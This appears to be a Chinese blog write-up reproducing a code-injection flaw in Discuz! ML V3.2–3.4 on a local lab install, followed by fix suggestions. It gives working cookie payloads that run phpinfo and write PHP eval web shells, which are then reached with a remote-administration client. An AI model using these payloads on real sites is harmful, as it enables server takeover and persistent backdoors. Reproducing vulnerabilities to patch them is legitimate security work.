0x00 Discuz簡介
Discuz!ML是一個由CodersClub.org創建的多語言,集成,功能齊全的開源網絡平台, 用於構建像“社交網絡”這樣的互聯網社區。
0x01 影響版本
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
0x02 環境搭建
phpstudy(php-7.2.10-nts Apache)
Discuz 3.4 源碼(官網下載:http://discuz.ml/download 之后將源碼解壓到根目錄 /WWW)
0x03 漏洞復現
右上角語言標識,隨便選擇一種語言並抓包
將抓到的包發送到repeater模塊
將包中的xxxxx_language參數值改為 '.phpinfo().' ,可以看到成功執行了代碼,得到了phpinfo信息,如下圖:
'. file_put_contents('shell.php',urldecode('%3c%3fphp %20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')).'
'. file_put_contents('shell.php',urldecode('')

查看文件upload

'. file_put_contents('shelll.php',urldecode('%3c%3fphp %20eval(%24_%50%4f%53%54%5b%22a1%22%5d)%3b%3f%3e')).'
原語句:<?php eval($_POST["a1"]);?>
將包中cookie的xxxxx_language參數值改為exp,可以看到成功執行了代碼,在文件夾中多出了shelll.php文件,
如下圖
訪問執行shelll.php
執行后使用菜刀連接
http://127.0.0.1/discuz/upload/shelll.php
0x04 修復建議
(1)修改source/function/function_core.php 644行為:
/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
(2)刪除可控變量。
(3)或者安裝最新補丁。
感覺博主寫的不錯的,右邊贊賞點一點,嘿嘿→_→
小白一枚!
謝謝觀看!
博主公眾號
本文歡迎轉載。 如轉載請務必注明出處。 覺得寫的不錯的可以右側打賞一手。 群在上邊歡迎大家來撩。